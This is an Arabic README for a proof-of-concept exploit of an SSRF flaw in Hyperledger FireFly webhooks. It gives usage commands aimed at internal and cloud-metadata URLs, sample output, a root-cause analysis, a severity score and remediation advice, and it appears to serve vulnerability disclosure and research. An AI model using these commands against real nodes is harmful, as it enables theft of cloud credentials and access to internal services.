
إثبات مفهوم استغلال لـ CVE-2026-82957، وهو ثغرة SSRF في اشتراكات webhook الخاصة بـ Hyperledger FireFly تُجبر العقدة على طلب عناوين URL داخلية أو خاصة ببيانات وصفية سحابية.
استغلال إثبات مفهوم لثغرة CVE-2026-82957، وهي ثغرة تزوير الطلبات من جانب الخادم (CWE-918) في ناقل الأحداث webhooks الخاص بـ Hyperledger FireFly Core. أي عميل قادر على إنشاء اشتراك في الأحداث يمكنه تسجيل webhook لا يتم التحقق من عنوان URL الخاص به أبدًا — فعندما يحدث حدث مطابق، تقوم عقدة FireFly نفسها بإصدار طلب HTTP. وتوجيهه نحو عناوين داخلية فقط (بيانات وصفية للسحابة، loopback، خدمات RFC1918) يحوّل العقدة إلى وكيل مخدوع.
مكتبة Python 3 القياسية فقط — بدون أي تبعيات.
$ python3 cve_2026_82957.py --help
الخطوة 1 — ابدأ مستمعًا على الجهاز الذي يجب أن يصل إليه عقدة FireFly (ضحية SSRF):
$ python3 -m http.server 8000 --bind 0.0.0.0
الخطوة 2 — تشغيل الاستغلال. -t هو عنوان URL الأساسي لواجهة FireFly API، و-u هو عنوان URL الذي سيُجبر العقدة على طلبه:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
بالنسبة لعقدة FireFly تعمل في Docker، يكون <host-ip> هو بوابة شبكة الجسر — اعثر عليها باستخدام docker network inspect <network> (الحقل IPAM.Config.Gateway، مثل 172.21.0.1).
المخرجات المتوقعة:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
سجل المستمع — عنوان IP المصدر هو عنوان IP لحاوية عقدة FireFly، وليس جهاز المهاجم، مما يثبت أن الطلب تم تزويره بواسطة الخادم. تم تأكيد SSRF:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 ("التنفيذ الأساسي لاستدعاء webhooks"، 2021-06-20)e3c9b8d89 (main) — لا يوجد commit بين الاثنين يضيف التحقق من المضيفالملف: internal/events/webhooks/webhooks.go
| السطر | الكود | المشكلة |
|---|---|---|
| 191 | url: options.GetString("url") | يُؤخذ الهدف حرفياً من مدخلات المستخدم |
| 266 | ValidateOptions(...) | يتحقق من التنسيق/الترويسات/المهلات لكنه لا يتحقق أبداً من المضيف |
| 394 | req.r.Execute(req.method, req.url) | يُطلق الطلب |
لا توجد قائمة سماح/حظر على الوجهة المُحلَّلة: لا يوجد حظر لعناوين loopback أو الخاصة (RFC1918) أو link-local (169.254.0.0/16)، كما أن المضيف والمخطط كلاهما تحت سيطرة المهاجم بالكامل. لا يُشحن FireFly بأي إضافة مصادقة API افتراضياً، لذا يمكن أن يكون إنشاء الاشتراك بدون مصادقة.
POST /api/v1/namespaces/{ns}/subscriptions — ينشئ webhook الخبيث (يُرجع 201 Created لعناوين URL الداخلية)POST /api/v1/namespaces/{ns}/messages/broadcast) — يُفعّل الطلب المزوّرCWE-918 تزوير الطلب من جانب الخادم (SSRF). يمكن للمهاجم:
169.254.169.254) → تصعيد إلى حساب السحابة"reply": true تُعاد الاستجابة الداخلية إلى المهاجم كحدث FireFly — وليس أعمى~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — تعتمد الخطورة على ما إذا كان الـ API خلف مصادقة.
في ValidateOptions، قم بتحليل عنوان URL، وحلّ المضيف، وارفض عناوين loopback/الخاصة/link-local/غير المحددة؛ قيّد المخطط بـ http/https؛ أعد التحقق من IP المُحلَّل وقت الاتصال (DialContext مخصص) لصد DNS-rebinding؛ ويُفضّل كشف قائمة سماح قابلة للتكوين لمضيفي webhook المسموح بهم.
هذه الأداة لأغراض تعليمية وبحثية فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج.
QuimeraX Intelligence هي منصة متقدمة لإدارة سطح الهجوم الخارجي (EASM) واستخبارات التهديدات السيبرانية، متخصصة في تحديد الثغرات الحرجة في الأنظمة المعقدة. تراقب المنصة بشكل استباقي وتكتشف وتنبّه العملاء بشأن التهديدات الأمنية، مما يضمن الشفافية والاستجابة السريعة للمخاطر المحتملة. يتلقى العملاء إشعارات فورية وتقارير شاملة إذا وُجدت أنظمتهم عرضة للثغرات، مما يمكّنهم من اتخاذ إجراءات وقائية. اعرف المزيد
Hakai Security هي شركة أمن سيبراني أسسها محترفو أمن، ملتزمة بالتميز التقني. نقدم حلولاً أمنية مخصصة تشمل اختبار الاختراق المتقدم، ومحاكاة Red Team الواقعية، وممارسات التطوير الآمن لحماية أصول عملائنا بشكل استباقي من التهديدات السيبرانية المتطورة.
Hacking Club هي منصة التدريب التي تتعلم فيها الأمن السيبراني من خلال دروس عملية ومختبرات وتحديات أنشأها خبراء يعملون في شركة الاستشارات الأمنية الخاصة بنا: مباشرة من ساحة المعركة إلى تدريبك.